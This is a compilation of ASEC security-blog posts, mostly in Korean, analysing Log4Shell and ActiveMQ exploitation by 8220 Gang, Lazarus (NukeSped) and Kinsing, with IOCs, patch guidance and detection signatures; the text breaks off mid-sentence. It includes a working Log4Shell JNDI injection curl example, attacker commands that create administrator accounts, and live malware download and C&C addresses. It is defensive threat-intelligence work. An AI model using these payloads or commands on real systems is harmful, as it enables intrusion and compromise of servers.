공격 그룹이 사용하는 악성코드로 확인되었다. 구체적인 패킷은 확인되지 않지만 VMware Horizon의 ws_tomcatservice.exe 프로세스에 의해 파워쉘 명령이 실행된 공격 로그와 이미 알려진 취약점을 이용해 패치되지 않은 시스템들을 공격하는 8220 Gang 공격 그룹의 특성상 기존 Log4Shell 취약점이 공격에 사용된 것으로 추정된다. 3. ScrubCypt, XMRig CoinMiner 분석 Log4Shell 취약점 공격을 통해 다운로드되어 실행되는 파워쉘 스크립트는 기존 Fortinet 블로그처럼 “bypass.ps1”이라는 이름을 갖는다. 내부에 포함된 악성코드는 다르지만 이름뿐만 아니라 루틴도 거의 동일하다. “bypass.ps1”은 난독화된 파워쉘 스크립트로서 복호화하면 다음과 같은 코드를 확인할 수 있다. 첫 번째 라인은 AMSI를 우회하는 루틴이며 이후 내부에 포함된 실제 악성코드를 복호화하여 “%TEMP%PhotoShop-Setup-2545.exe” 경로에 생성한 후 실행한다. “PhotoShop-Setup-2545.exe“는 닷넷 다운로더 악성코드로서 다음 주소에서 인코딩된 데이터를 다운로드한 후 복호화하여 RegAsm.exe에 인젝션한다. 다운로드 주소 : hxxp://77.91.84[.]42/Whkpws.png RegAsm 프로세스에 인젝션되어 실행되는 악성코드는 난독화되어 있지만 Fortinet에서 소개한 ScrubCrypt의 루틴과 유사한 점을 보아 ScrubCrypt 악성코드로 추정된다. 공격에 사용된 ScrubCrypt는 다음과 같이 3개의 C&C 주소와 4개의 포트 번호(58001, 58002, 58003, 58004)를 가지고 있다. 179.43.155[.]202 su-95.letmaker[.]top su95.bpdeliver[.]ru ScrubCrypt(RegAsm.exe)의 C&C 주소 ScrubCypt는 C&C 서버에 연결하여 추가 명령을 다운로드하며 현재 분석 환경에서는 XMRig 코인 마이너를 설치하는 명령이 확인된다. 다운로드되어 실행되는 “deliver1.exex”는 인젝터 악성코드로서 내부 리소스에 인코딩되어 저장된 또 다른 ScrubCrypt를 MSBuild.exe에 인젝션 한다. 해당 ScrubCrypt는 다음과 같이 2개의 C&C 주소와 4개의 포트 번호(9090, 9091, 9092, 8444)를 가지고 있다. 179.43.155[.]202 su95.bpdeliver[.]ru ScrubCrypt(MSBuild.exe)의 C&C 주소 ScrubCrypt는 레지스트리에 XMRig 실행 시 사용할 설정 데이터(마이닝 풀 주소와 지갑 주소, 코인 마이너 페이로드 다운로드 주소, 인젝션 대상 프로세스)와 다운로드한 인코딩된 데이터 파일들 “plugin_3.dll”, “plugin_4.dll”을 쓴다. “plugin_4.dll”은 인코딩된 닷넷 악성코드로서 복호화되어 메모리 상에서 동작한다. “plugin_4.dll”의 기능은 다음과 같이 인코딩된 XMRig인 “plugin_3.dll”를 복호화하고 설정 데이터에 지정된 정상 프로세스 AddInProcess.exe에 인젝션 한 후 커맨드 라인과 함께 실행시킨다. Mining Pool 주 소 : 174.138.19[.]0:8080 지갑 주소 : “46E9UkTFqALXNh2mSbA7WGDoa2i6h4WVgUgPVdT9ZdtweLRvAhWmbvuY1dhEmfjHbsavKXo3eGf5ZRb4qJzFXLVHGYH4moQ” 비밀번호 : “x” 공격자의 모네로 코인 지갑 주소는 이전에 공개한 Atlassian Confluence 서버 취약점 공격에서 사용된 주소와 동일하며, 최근 공개된 Fortinet의 Oracle Weblogic 서버 취약점 공격 사례와도 동일하다. 8220 Gang 공격 그룹은 과거부터 꾸준히 동일한 지갑 주소를 사용하고 있는 것이 특징이다. 4. 결론 8220 Gang으로 알려진 공격 그룹은 취약점이 패치되지 않은 시스템들을 대상으로 모네로 코인을 채굴하는 XMRig 코인 마이너를 설치하고 있다. 과거 취약한 아틀라시안 컨플루언스 (Atlassian Confluence) 서버를 대상으로 하는 공격이 확인된 바 있으며, 최근에는 VMware Horizon 서버에 대한 Log4Shell 취약점을 이용하고 있다. 관리자들은 현재 사용 중인 VMware Horizon 서버가 취약한 버전인지를 점검하고 최신 버전으로 패치해 기존에 알려진 취약점으로부터 공격을 방지해야 한다. 또한 외부에 오픈되어 접근 가능한 서버에 대해 방화벽과 같은 보안 제품을 이용해 공격자로부터의 접근을 통제해야 한다. 마지막으로 V3를 최신 버전으로 업데이트하여 악성코드의 감염을 사전에 차단할 수 있도록 신경 써야 한다. 파일 진단 – Downloader/PowerShell.Generic (2023.04.17.02) – Downloader/PowerShell.Generic (2023.04.17.02) – Downloader/Win.Agent.R572121 (2023.04.16.01) – CoinMiner/Win.XMRig.C5411888 (2023.04.16.01) 행위 진단 – Execution/MDP.Powershell.M2514 MD5 2748c76e21f7daa0d41419725af8a134 851d4ab539030d2ccaea220f8ca35e10 bd0312d048419353d57068f5514240dc d63be89106d40f7b22e5c66de6ea5d65 URL http[:]//163[.]123[.]142[.]210/bypass[.]ps1 http[:]//174[.]138[.]19[.]0[:]8080/ http[:]//77[.]91[.]84[.]42/Whkpws[.]png http[:]//77[.]91[.]84[.]42/bypass[.]ps1 http[:]//77[.]91[.]84[.]42/deliver1[.]exe FQDN su-95[.]letmaker[.]top su95[.]bpdeliver[.]ru IP 179[.]43[.]155[.]202 AhnLab TIP 를 구독하시면 연관 IOC 및 상세 분석 정보를 추가적으로 확인하실 수 있습니다. 자세한 내용은 아래 배너를 클릭하여 확인해보세요.
ASEC Log4Shell 취약점을 악용하는 Lazarus 그룹 (NukeSped) 2022-05-11
작년 12월 자바 기반의 로깅 유틸리티인 Log4j의 취약점(CVE-2021-44228)이 전 세계적으로 이슈가 되었다. 해당 취약점은 원격지의 자바 객체 주소를 로그 메시지에 포함시켜 Log4j를 사용하는 서버에 전송할 경우 서버에서 자바 객체를 실행할 수 있는 원격 코드 실행 취약점이다. Apache Log4j 2 취약점 주의 및 업데이트 권고 – ASEC BLOG Apache Log4j 2 취약점(CVE-2021-44228)이 2021년 12월 10일 POC와 함께 트윗 및 Github에 공개되었다. 해당 취약점은 Log4j 소프트웨어의 원격 코드 실행(RCE) 취약점으로 로그 메시지에 원격의 자바 객체 주소를 포함시켜 취약한 서버에서 실행시킬 수 있다. 이는 알리바바의 클라우드 보안팀이 2021년 11월 24 일에 Apache 소프트웨어 재단에 최초 보고하였으며, 첫 패치는 2021년 12월 6일에 배포되었다. 이 후로도 패치가 지속 이루어지고 있으며 해당 내용은 아래와 같다. 1. 취약점… ASEC 분석팀은 Lazarus 그룹의 국내 타겟 공격을 모니터링하고 있으며, 지난 4월 Lazarus 그룹으로 추정되는 공격 그룹이 해당 취약점을 악용하여 NukeSped 악성코드를 유포한 정황을 포착하였다. 공격자는 보안 패치가 되지 않은 VMware Horizon 제품 에 log4j 취약점을 사용하였다. VMware Horizon 제품은 가상화 데스크톱 솔루션으로써 기업에서 원격 근무 솔루션과 클라우드 인프라 운영을 위해 사용하는 제품이다. 특히 최근 Covid-19로 인하여 재택근무 기업이 많아짐에 따라 해당 제품을 사용하는 기업 또한 많아졌을 것으로 추정된다. NukeSped 다음은 VMware Horizon의 ws_tomcatservice.exe 프로세스에 의해 파워쉘 명령이 실행되어 NukeSped를 설치하는 행위에 대한 자사 ASD(AhnLab Smart Defense) 로그이다. NukeSped 분석 NukeSped는 C&C 서버에서 공격자의 명령을 전달받아 수행할 수 있는 백도어 악성코드이다. 여기서 다루는 악성코드는 NukeSped 변종 중 하나로서 과거 2020년 경부터 Lazarus 그룹에서 사용하고 있다. 해당 변종에 대해서는 과거 아래의 ASEC 블로그에서 상세하게 다룬 바 있으며, 본 항목에서는 공격에 사용된 NukeSped 유형에 대한 간략한 소개 및 이전 버전과의 비교하여 정리한다. Lazarus 그룹의 NukeSped 악성코드 분석 보고서 – ASEC BLOG 안랩 시큐리티대응센터(ASEC)은 2020년경부터 최근까지 확인되고 있는 Lazarus 그룹의 공격들에 대해 분석 보고서를 공개한다. 여기에서 다루는 악성코드는 NukeSped로 알려져 있으며 공격자의 명령을 받아 다양한 악성 행위를 수행할 수 있는 백도어 악성코드이다. 본 문서에서는 NukeSped를 이용한 공격들에 대한 전체적인 흐름을 분석한다. 차례대로 확인된 유포 방식부터 시작하여 NukeSped의 기능들을 분석하고, 공격자로부터 전달받은 명령이나 추가적으로 설치한 악성코드들까지 각 단계별로 상세하게 정리한다. ____ __… 해당 변종의 특징이라고 한다면 C++로 개발되어 있으며 가상 함수를 사용함에 따라 [그림 2]와 같은 클래스 이름들이 바이너리에 포함되어 있다는 점이다. 그리고 일반적으로 DES 알고리즘을 이용해 API 이름을 포함한 내부 문자열, C&C 서버 목록을 복호화하며, C&C 서버와의 통신에는 RC4 알고리즘을 사용하는 특징을 갖는다. 하지만 약간의 변형들도 존재하는데, 이전 블로그에서는 C&C 서버와의 통신에 RC4 알고리즘 대신 Xor 암호화(CryptorXor 클래스)를 이용하는 유형들이 있었다면, 이번 공격에서는 내부 문자열, C&C 서버 목록뿐만 아니라 C&C 서버와의 통신에도 모두 RC4 알고리즘을 사용하는 유형이 확인되었다. 이때 RC4 키는 서로 다른 값을 사용한다. RC4 Key 1 (문자열 복호화) : 7B CA D5 7E 1B AE 26 D8 60 1B 61 DA 83 80 11 72 01 6C 54 D8 8A E8 DE 7B 1A 0A RC4 Key 2 (C&C 통신) : CD 80 5D D6 6C 1C 63 78 AF 13 7F 67 5B E9 B1 F4 87 27 EE 91 F3 5F 17 EE 9B 6A 28 61 8C F4 문자열 복호화 및 API Resolving 과정이 완료되면 이후 C&C 서버와 통신을 시작한다. NukeSped는 C&C 서버와의 접속이 이루어진 후 추가적인 검증 과정을 진행하는데, C&C 서버에 SSL 통신을 위장한 문자열을 전송한 후 특정 문자열을 전달받을 때 정상적인 C&C 서버로 인식하고 이후 루틴을 진행한다. 여기에 사용되는 문자열은 이전 분석 보고서와 동일하게 2가지 종류가 존재한다. C&C 요청 C&C 응답 Type 1 HTTP 1.1 /index.php?member=sbi2009 SSL3.3.7 HTTP 1.1 200 OK SSL2.1 Type 2 HTTP 1.1 /member.php SSL3.4 HTTP 1.1 200 OK SSL2.1 [표 1] 유형별 C&C 요청 및 응답 값 이후 사용자 환경의 MAC 주소를 구해 RC4 알고리즘으로 암호화하여 C&C 서버에 전달하며, 이어진 통신에서도 동일하게 패킷을 RC4 알고리즘으로 암호화하여 통신한다. NukeSped는 전달받은 명령에 따라 키로깅, 스크립 캡쳐, 파일 및 쉘 작업을 수행할 수 있는데, 해당 기능들은 다음 클래스들에 존재한다. 참고로 ModuleUsbDump, ModuleWebCamera 2가지 모듈은 이번 공격에서 새롭게 확인된 기능들이다. ModuleUpdate ModuleShell ModuleFileManager ModuleKeyLogger ModuleSocksTunnel ModuleScreenCapture ModuleInformation ModulePortForwarder ModuleUsbDump ModuleWebCamera NukeSped를 이용한 공격 InfoStealer 설치 공격자는 NukeSped를 이용해 정보 탈취형 악성코드를 추가적으로 설치하였다. 확인된 2개 악성코드는 모두 콘솔 형태의 프로그램이었으며 유출 결과를 별도의 파일로 저장하지 않는다. 따라서 공격자는 사용자 PC의 GUI 화면를 원격 제어하였거나, 파이프라인 형태로 데이터를 유출했을 것으로 추정된다. 참고로 확인된 정보 탈취 악성코드 2개 중 하나는 이전 공격에서 사용된 것과 동일한 파일인 것이 특징이다. 정보 유출 대상 S/W 목록 및 데이터는 다음과 같다. 수집 데이터 : 브라우저 저장 계정/비밀번호, 방문 기록 대상 S/W : Google Chrome, Mozilla Firefox, Internet Explorer, Opera, Naver Whale 수집 데이터 : 메일 계정 정보 대상 S/W : Outlook Express, MS Office Outlook, Windows Live Mail 수집 데이터 : 최근 사용 파일명 대상 S/W : MS Office(PowerPoint, Excel, Word), 한글 2010 NukeSped 사용 명령 공격자는 백도어 악성코드인 NukeSped를 이용해 커맨드 라인 명령을 전달하여 추가적인 정보를 수집하였다. 다음 명령들은 감염 시스템이 존재하는 환경의 기본적인 네트워크 정보들과 도메인 정보를 보여준다. 이렇게 수집한 정보들은 추후 측면 이동 공격에 사용될 수 있으며, 성공할 경우 공격자는 도메인 내의 시스템들을 장악할 수 있다. cmd.exe /c “ping 11.11.11.1” cmd.exe /c “ipconfig /all” cmd.exe /c “query user” cmd.exe “net group “domain admins” /domain” net user _smuser white1234!@#$ cmd.exe “net localgroup administrators /add smi140199” Jin Miner 참고로 감염 시스템에 대한 ASD 로그를 분석한 결과, Lazarus 그룹이 NukeSped를 설치하기 전에 이미 다른 공격자들이 해당 취약점을 악용하여 Jin Miner를 설치했던 이력이 함께 존재하였다. Jin Miner는 기존 Sophos의 보고서 에서 이미 Log4Shell 취약점을 통해 유포되는 악성코드로 알려져 있다. 파워쉘 명령을 통해 위의 주소에서 설치되는 Jin Miner는 최종적으로 모네로 코인을 채굴하는 코인 마이너 악성코드이다. [IOC] NukeSped (진단명, 엔진버전) – Backdoor/Win.NukeSped.R487407 (2022.04.23.02) – Trojan/Win.Andardoor.C5094639 (2022.04.21.01) – Backdoor/Win.NukeSped.R486619 (2022.04.21.00) – Backdoor/Win.NukeSped.R486595 (2022.04.20.03) – Backdoor/Win.NukeSped.R486595 (2022.04.20.03) InfoStealer (진단명, 엔진버전) – Infostealer/Win.Pwstealer.C4510631 (2021.06.04.03) – Backdoor/Win.NukeSped.C4631988 (2021.09.15.01) NukeSped 다운로드 주소 – hxxp://185.29.8[.]18/htroy.exe NukeSped C&C 주소 – 185.29.8[.]18:8888 – 84.38.133[.]145:443 – 84.38.133[.]16:8443 – mail.usengineergroup[.]com:8443 NukeSped 파일명 – svc.exe – srvCredit.exe – runhostw.exe – javarw.exe Jin Miner (진단명, 엔진버전) – CoinMiner/BAT.Generic (2022.05.11.03) – CoinMiner/BAT.Generic (2022.05.11.03) – Win-Trojan/Miner3.Exp (2020.01.29.00) – Win-Trojan/Miner3.Exp (2020.01.29.00) – Unwanted/Win32.NSSM.R353938 (2020.10.27.00) Jin Miner 다운로드주소 – hxxp://iosk[.]org/pms/add.bat – hxxp://iosk[.]org/pms/mad.bat – hxxp://iosk[.]org/pms/jin.zip – hxxp://iosk[.]org/pms/jin-6.zip MD5 131fc4375971af391b459de33f81c253 1875f6a68f70bee316c8a6eda9ebf8de 47791bf9e017e3001ddc68a7351ca2d6 7a19c59c4373cadb4556f7e30ddd91ac 7ef97450e84211f9f35d45e1e6ae1481 URL http[:]//185[.]29[.]8[.]18/htroy[.]exe http[:]//185[.]29[.]8[.]18[:]8888/ http[:]//84[.]38[.]133[.]145[:]443/ http[:]//84[.]38[.]133[.]16[:]8443/ http[:]//iosk[.]org/pms/add[.]bat
ASEC V3 네트워크 탐지 기능에 의한 Log4j 취약점(CVE-2021-44228) 탐지 2021-12-22
지난 2021년 12월 10일 Apache Log4j 취약점(CVE-2021-44228)이 공개됨에 따라 Github에 다양한 POC가 업로드되었다. Log4j 취약점은 공격자가 로그 메시지에 악성 클래스 주소를 삽입하여 웹서버에 공격자가 제작한 악성 클래스를 실행 시킬 수 있어 파급력이 크다. 안랩에서는 Log4j 취약점 공격을 탐지하기 위해 네트워크 차단 시그니처를 업데이트 하였으며 아래에서 Log4j 취약점 설명 및 V3 제품 탐지 영상을 공개한다. 1. 취약점 대상 및 버전 다음의 조건들의 제품들은 해당 취약점의 영향을 받는다. Apache Log4j 2.0-beta9 ~ 2.12.1 및 2.13.0 ~ 2.15.0 버전 Apache Log4j 1.2.x의 모든 버전 2. 취약점 공격 방법 Log4j 를 이용하는 서비스에서 user-agent 로 전송된 문자열을 로그로 기록하는 코드가 포함된 경우 다음과 같이 공격할 수 있다. [서버 소스 코드 일부] static Logger log = LogManager.getLogger(VulnerableLog4jExampleHandler.class.getName()); ... String userAgent = he.getRequestHeader("user-agent"); String response = "<h1>Hello There, " + userAgent + "!</h1>"; log.error("Request User Agent:{}", userAgent); ... [취약점 공격] xxx.xxx.xxx.xxx/a 에 위치한 자바 객체를 자동으로 서버에서 실행 시키는 공격 ex) # curl 127.0.0.1:8080 -H “X-Api-Version: ${jndi:ldap://xxx.xxx.xxx.xxx/a}” 3. 안랩 제품 대응 현재 안랩에서는 V3 및 TG/IPX, AIPS, HIPS 제품을 통해서도 해당 취약점 탐지가 가능하다. 다만 V3 제품의 경우 네트워크 침입 차단 옵션을 활성화해야만 탐지가 가능 하기 때문에 log4j 취약점 예방을 위해서 가급적 네트워크 침입 차단 사용을 권장한다. [그림 1] 네트워크 침입 차단 사용 기능 활성화 Apache_Log4j_JndiManager_JNDI_Injection-1(CVE-2021-44228) (V3 엔진버전 : 2021.12.22.03) Apache_Log4j_JndiManager_JNDI_Injection-2(CVE-2021-44228) (V3 엔진버전 : 2021.12.22.03) Apache_Log4j_JndiManager_JNDI_Injection-3(CVE-2021-44228) (V3 엔진버전 : 2021.12.22.03) Apache_Log4j_JndiManager_JNDI_Injection-4(CVE-2021-44228) (V3 엔진버전 : 2021.12.22.03) Apache_Log4j_JndiManager_JNDI_Injection-5(CVE-2021-44228) (V3 엔진버전 : 2021.12.22.03) Apache_Log4j_JndiManager_JNDI_Injection-6(CVE-2021-44228) (V3 엔진버전 : 2021.12.22.03) Apache_Log4j_JndiManager_JNDI_Injection-7(CVE-2021-44228) (V3 엔진버전 : 2021.12.22.03) Apache_Log4j_JndiManager_JNDI_Injection-8(CVE-2021-44228) (V3 엔진버전 : 2021.12.22.03) [그림 2] V3 기업용 제품에 추가된 Log4j 네트워크 탐지 시그니처 목록 아래 영상은 Log4j 취약점(CVE-2021-44228)을 V3 기업용 유료제품에서 네트워크 차단 기능으로 탐지 및 차단하는 영상이다. https://youtu.be/e-noktfJjHk
ASEC [안내] Apache Log4j 취약점 CVE-2021-44228 영향을 받는 Log4j Core 2021-12-17
안랩은 Apache Log4j 취약점 보안 업데이트를 권고하고 있다. Apache Log4j 취약점 정보 취약점 Log4j 2.x 버전에서 공격자가 로그 메세지를 통해 원격 코드 실행이 가능한 취약점 (CVE-2021-44228, CVSS 10.0) [1] Log4j 2.x 버전에서 공격자가 로그 메세지를 통해 서비스 거부 오류(Denied of Service)를 발생시킬 수 있는 취약점 (CVE-2021-45046, CVSS 3.7) [2] Log4j 1.2.x 버전에서 공격자가 로그 메세지를 통해 원격 코드 실행이 가능한 취약점 (CVE-2021-4104) [3] 취약점 영향을 받는 버전 CVE-2021-44228 – Apache Log4j 2.0-beta9 ~ 2.14.1 버전 (Log4j 2.12.2 제외) CVE-2021-45046 – Apache Log4j 2.0-beta9 ~ 2.12 및 2.15.0 버전 CVE-2021-4104 – Apache Log4j 1.2.x 버전 (참고) CVE-2021-45046은 log4j 2.x 버전에서 Pattern Layout에 Context Lookup 또는 Thread Context Lookup 패턴을 사용하는 경우에 발생함 (참고) CVE-2021-4104는 log4j 1.2.x 버전에서 JMSAppender 기능을 사용하는 경우에 발생함 가장 심각한(CVSS 10.0) 취약점 CVE-2021-44228은 즉시 보안 업데이트가 필요하다. 운용 중인 시스템에 취약한 Log4j Core 라이브러리가 있는지 확인이 필요하다. 아래는 CVE-2021-44228 취약점 영향을 받는 Log4j-Core 버전별 파일 목록이다. 각 버전별 해시는 Log4j 소스코드를 개별 환경에서 직접 빌드 했을 때는 달라질 수 있다. 출처 [1] https://archive.apache.org/dist/logging/log4j/ 출처 [2] https://repo1.maven.org/maven2/org/apache/logging/log4j/log4j-core/ 번호 Log4j Core 버전 1 log4j-core-2.0.1.jar 2 log4j-core-2.0.2.jar 3 log4j-core-2.0-beta9.jar 4 log4j-core-2.0-rc1.jar 5 log4j-core-2.0-rc2.jar 6 log4j-core-2.1.jar 7 log4j-core-2.2.jar 8 log4j-core-2.3.jar 9 log4j-core-2.4.1.jar 10 log4j-core-2.4.jar 11 log4j-core-2.5.jar 12 log4j-core-2.6.1.jar 13 log4j-core-2.6.2.jar 14 log4j-core-2.6.jar 15 log4j-core-2.7.jar 16 log4j-core-2.8.1.jar 17 log4j-core-2.8.2.jar 18 log4j-core-2.8.jar 19 log4j-core-2.9.0.jar 20 log4j-core-2.9.0.jar 21 log4j-core-2.9.1.jar 22 log4j-core-2.9.1.jar 23 log4j-core-2.10.0.jar 24 log4j-core-2.10.0.jar 25 log4j-core-2.11.0.jar 26 log4j-core-2.11.0.jar 27 log4j-core-2.11.1.jar 28 log4j-core-2.11.1.jar 29 log4j-core-2.11.2.jar 30 log4j-core-2.11.2.jar 31 log4j-core-2.12.0.jar 32 log4j-core-2.12.0.jar 33 log4j-core-2.1 2.1.jar 34 log4j-core-2.12.1.jar 35 log4j-core-2.13.0.jar 36 log4j-core-2.13.0.jar 37 log4j-core-2.13.1.jar 38 log4j-core-2.13.1.jar 39 log4j-core-2.13.2.jar 40 log4j-core-2.13.2.jar 41 log4j-core-2.13.3.jar 42 log4j-core-2.13.3.jar 43 log4j-core-2.14.0.jar 44 log4j-core-2.14.0.jar 45 log4j-core-2.14.1.jar 46 log4j-core-2.14.1.jar Log4j는 Java 기반 환경에서 로그를 남기기 위해 사용되는 대표적인 오픈소스 로깅 라이브러리이기 때문에 그 사용자 수가 매우 많다. 그러나 치명적인 보안 취약점이 있음에도 불구하고 ASEC 분석팀이 고객 환경을 조사한 바에 따르면, 아래와 같이 보안 업데이트가 되지 않은 취약한 Log4j Core를 사용하는 사용자 수가 아직까지 상당히 많다. 이는 외부 접속이 가능한 서버 외에 개인이 사용하고 있는 애플리케이션 또는 프레임워크 환경을 포함한다. C:\ ghidra \Ghidra\Framework\Generic\lib\log4j-core-2.12.1.jar C:\Users\<사용자명>\AppData\Roaming\. minecraft \libraries\org\apache\logging\log4j\log4j-core\2.14.1\log4j-core-2.14.1.jar C:\ eGovFrame-3.6.0 \maven\repository\org\apache\logging\log4j\log4j-core\2.1\log4j-core-2.1.jar C:\Apache Software Foundation\ Tomcat 8.5 \webapps\ROOT_210928\WEB-INF\lib\log4j-core-2.8.2.jar D:\<*****>_erp_server\ <***>ERP_<*****> \webapps\ROOT\WEB-INF\lib\log4j-core-2.10.0.jar C:\Users\USER\AppData\Local\ MapTool \app\log4j-core-2.13.0.jar C:\<사용자명>\ Teamcenter13 \tccs\third_party\TcSS\TcSS13.3\jars\log4j-core-2.14.0.jar \\<개인서버>\..\..\..\…\< ***>project \workspace\.metadata\.plugins\org.eclipse.wst.server.core\tmp0\wtpwebapps\ <***>project \WEB-INF\lib\log4j-core-2.11.2.jar \Users\<사용자명>\ eclipse-server \<*********>\WebContent\WEB-INF\lib\log4j-core-2.11.1.jar 사용자는 사용하는 애플리케이션 또는 프레임워크 환경에서 취약한 Log4j Core 라이브러리가 포함되어있는지 확인하고, 취약한 버전이 있을 경우 즉시 보안 업데이트를 해야 한다. MD5 0042e7de635dc1c6c0c5a1ebd2c1c416 0079c907230659968f0fc0e41a6abcf9 0138ba1c191d5c754fd0e3c3a61c0307 088df113ad249ab72bf19b7f00b863d5 0ac5b3e6e69ba7765683798e669a30b2 URL https[:]//archive[.]apache[.]org/dist/logging/log4j/ https[:]//archive[.]apache[.]org/dist/logging/log4j/출 https[:]//repo1[.]maven[.]org/maven2/org/apache/logging/log4j/log4j-core/
ASEC Apache Log4j 2 취약점 주의 및 업데이트 권고 2021-12-15
Apache Log4j 2 취약점(CVE-2021-44228)이 2021년 12월 10일 POC와 함께 트윗 및 Github 에 공개되었다. 해당 취약점은 Log4j 소프트웨어의 원격 코드 실행(RCE) 취약점으로 로그 메시지에 원격의 자바 객체 주소를 포함시켜 취약한 서버에서 실행시킬 수 있다. 이는 알리바바의 클라우드 보안팀이 2021년 11월 24 일에 Apache 소프트웨어 재단에 최초 보고하였으며, 첫 패치는 2021년 12월 6일에 배포되었다. 이 후로도 패치가 지속 이루어지고 있으며 해당 내용은 아래와 같다. 1. 취약점 대상 및 버전 다음의 조건들의 제품들은 해당 취약점의 영향을 받는다. Apache Log4j 2.0-beta9 ~ 2.12.1 및 2.13.0 ~ 2.15.0 버전 Apache Log4j 1.2.x의 모든 버전 2. 취약점 공격 방법 Log4j 를 이용하는 서비스에서 user-agent 로 전송된 문자열을 로그로 기록하는 코드가 포함된 경우 다음과 같이 공격할 수 있다. [서버 소스 코드 일부] static Logger log = LogManager.getLogger(VulnerableLog4jExampleHandler.class.getName()); ... String userAgent = he.getRequestHeader("user-agent"); String response = "<h1>Hello There, " + userAgent + "!</h1>"; log.error("Request User Agent:{}", userAgent); ... [취약점 공격] xxx.xxx.xxx.xxx/a 에 위치한 자바 객체를 자동으로 서버에서 실행 시키는 공격 ex) # curl 127.0.0.1:8080 -H ‘X-Api-Version: ${jndi:ldap://xxx.xxx.xxx.xxx/a}’ 3. 해결된 취약점 Log4j 2.x 버전에서 공격자가 로그 메세지를 통해 원격 코드 실행이 가능한 취약점 (CVE-2021-44228, CVSS 10.0) Log4j 2.x 버전에서 공격자가 로그 메세지를 통해 서비스 거부 오류(Denied of Service)를 발생시킬 수 있는 취약점 (CVE-2021-45046, CVSS 3.7) Log4j 1.2.x 버전에서 공격자가 로그 메세지를 통해 원격 코드 실행이 가능한 취약점 (CVE-2021-4104) 4. 취약점 대응방안 1) 2021년 12월 14일 업데이트를 통해 취약점 패치가 다음과 같이 제공 Log4j 2.16.0 이상 최신버전 (Java8 이상) : https://logging.apache.org/log4j/2.x/download.html Log4j 2.12.2 버전 (Java 7) : 제공 예정 2) Log4j 패치가 어려운 경우 취약점 완화 적용 방안 ( ATIP 보안권고문 참조 ) 버전 : Log4j 2.0-beta9 이상 2.15.0 이하 버전 (Log4j 2.12.2 버전 제외) JndiLookup 클래스를 다음과 같이 제거 # zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class 버전 : Log4j 1.x 버전 Log4j 1.x에서 JMSAppender 사용 여부 확인 후 해당 기능을 중지 5. 안랩 제품 대응현황 AhnLab에서는 TG/IPX, AIPS, HIPS 제품을 통해 해당 취약점 탐지가 가능하다. 참조 1) https://www.boho.or.kr/data/secNoticeView.do?bulletin_writing_sequence=36389 참조 2) https://atip.ahnlab.com/ti/contents/security-advisory?i=0a053796-66db-4ce0-9c30-d3c19060670e
ASEC 영어·일본어 등 다른 언어 글 17건
ASEC Case of ActiveMQ Vulnerability Exploitation to Install Sharpire (Kinsing) 2025-10-28
AhnLab SEcurity intelligence Center (ASEC) has confirmed that the Kinsing threat actor is still distributing malware by exploiting known vulnerabilities. Since the disclosure of the CVE-2023-46604 vulnerability in ActiveMQ, the threat actor has been exploiting it to install malware on both Linux and Windows systems. [1] Aside from the well-known XMRig and Stager, the latest attack cases also involved Sharpire. Sharpire is a .NET backdoor that supports PowerShell Empire. During the process of taking control of the infected system, the threat actor uses CobaltStrike, Meterpreter, and PowerShell Empire together. 1. Kinsing (H2Miner) Kinsing, also known as H2Miner, was first identified by the Alibaba Cloud Security team in January 2020. [2] The malware strains are constantly adding new attack techniques for installing coin miners on inappropriately managed or vulnerable services. In the case of Docker, the Kinsing threat actor targets the Docker daemon API port with a misconfiguration, [3] while for Redis, they exploit the remote code execution vulnerability. Other cases include the Log4j vulnerability (CVE-2021-44228) and the ActiveMQ vulnerability (CVE-2023-46604). [4] Aside from exploiting vulnerabilities, they also leverage SSH credentials stored in infected systems during the lateral movement process. [5] 2. ActiveMQ Vulnerability (CVE-2023-46604) CVE-2023-46604 is a remote code execution vulnerability in Apache ActiveMQ, an open-source messaging and integration pattern server. If an unpatched Apache ActiveMQ server is exposed to the Internet, threat actors can remotely execute malicious commands and take control of the system. The vulnerability is exploited by manipulating the serialized class type that instructs the OpenWire protocol to instantiate a class in the classpath. If the attacker sends a manipulated packet, the vulnerable server uses the URL in the packet to load the class XML configuration file. Recommendation to Apply Security Update for Apache ActiveMQ (CVE-2023-46604) [6] CVE-2023-46604 has recently started to be exploited, and in Korea, attacks by the Andariel group, HelloKitty ransomware [7] , and Mauri ransomware have been identified. [8] 3. Latest attack cases of Kinsing threat actor Recently, a case has been identified where threat actors have exploited the CVE-2023-46604 vulnerability to distribute malware to vulnerable ActiveMQ servers in Korea. Generally, the vulnerability is exploited by various CoinMiner threat actors, but the Kinsing threat actor uses various types of malware. Figure 1. Vulnerable ActiveMQ service installing the Stager downloader The vulnerable Java process of Apache ActiveMQ loads the XML configuration file and executes the specified command based on this file, which is provided by the threat actor. The following is the XML configuration file used in the attack, responsible for using the msiexec command to install MSI malware from an external source. Figure 2. Class XML configuration file used in the attack During the attack, the threat actor installed a malware named “mm13.exe” in addition to MSI. Both MSI and “mm13.exe” are downloader malware. As of now, the download is unavailable, so it is not known what malware was downloaded. However, in general, this type of malware is responsible for downloading and executing CobaltStrike or Metasploit’s Meterpreter in the memory. This type is also known as Stager. Figure 3. Download URL of Stager It is also worth noting that the address used in the attack was found to include malware targeting Linux systems. The following is a relatively simple Bash script, which adds the Kinsing threat actor’s wallet address to the XMRig configuration file, as mentioned in a previous Fortinet report. Figure 4. Kinsing threat actor’s Bash malware Wallet – 1 : “linux Password – 1 : “linux Wallet – 2 : “89UoMhtsrpaJTvmJBbvy1cTdg38pomPFnW5Z4sniL2izcLQyGBkEGd96TcBJtzQUi6KAL5Ehe4cFpEMNdGF7tFKpJ1DqE8X Password – 2 : “lin Aside from the threat actor’s download server, there is also a malware strain named Sharpire. Among the open-source Post-Exploitation frameworks is Powershell Empire, which is developed in PowerShell and used by various threat actors. Sharpire is a .NET-developed backdoor that supports Powershell Empire. It is presumed that the threat actor would have used Sharpire in addition to Cobalt Strike or Meterpreter to control the infected systems. Figure 5. Configuration data of Sharpire Command Feature Default Execute PowerShell command (Full) shell Execute PowerShell command (argument) ls, dir, gci List directory mv, move Move file cp, copy Copy file rm, del, rmdir Delete file cd Change current directory ifconfig, ipconfig Check network configuration information ps, tasklist List processes route Query routing table information whoami, getuid Query current user hostname Look up host name reboot, restart Reboot system shutdown Shut down system Table 1. List of commands supported by Sharpire 4. Conclusion Threat actors are continuously attacking vulnerable, unpatched Apache ActiveMQ services. Among the identified attacks, there is a case of Kinsing threat actor who, like in the past, install coin miners to mine cryptocurrency. However, it was also found that they installed malware to control the infected systems. The Kinsing threat actor installs remote management tools such as XMRig, CobaltStrike, 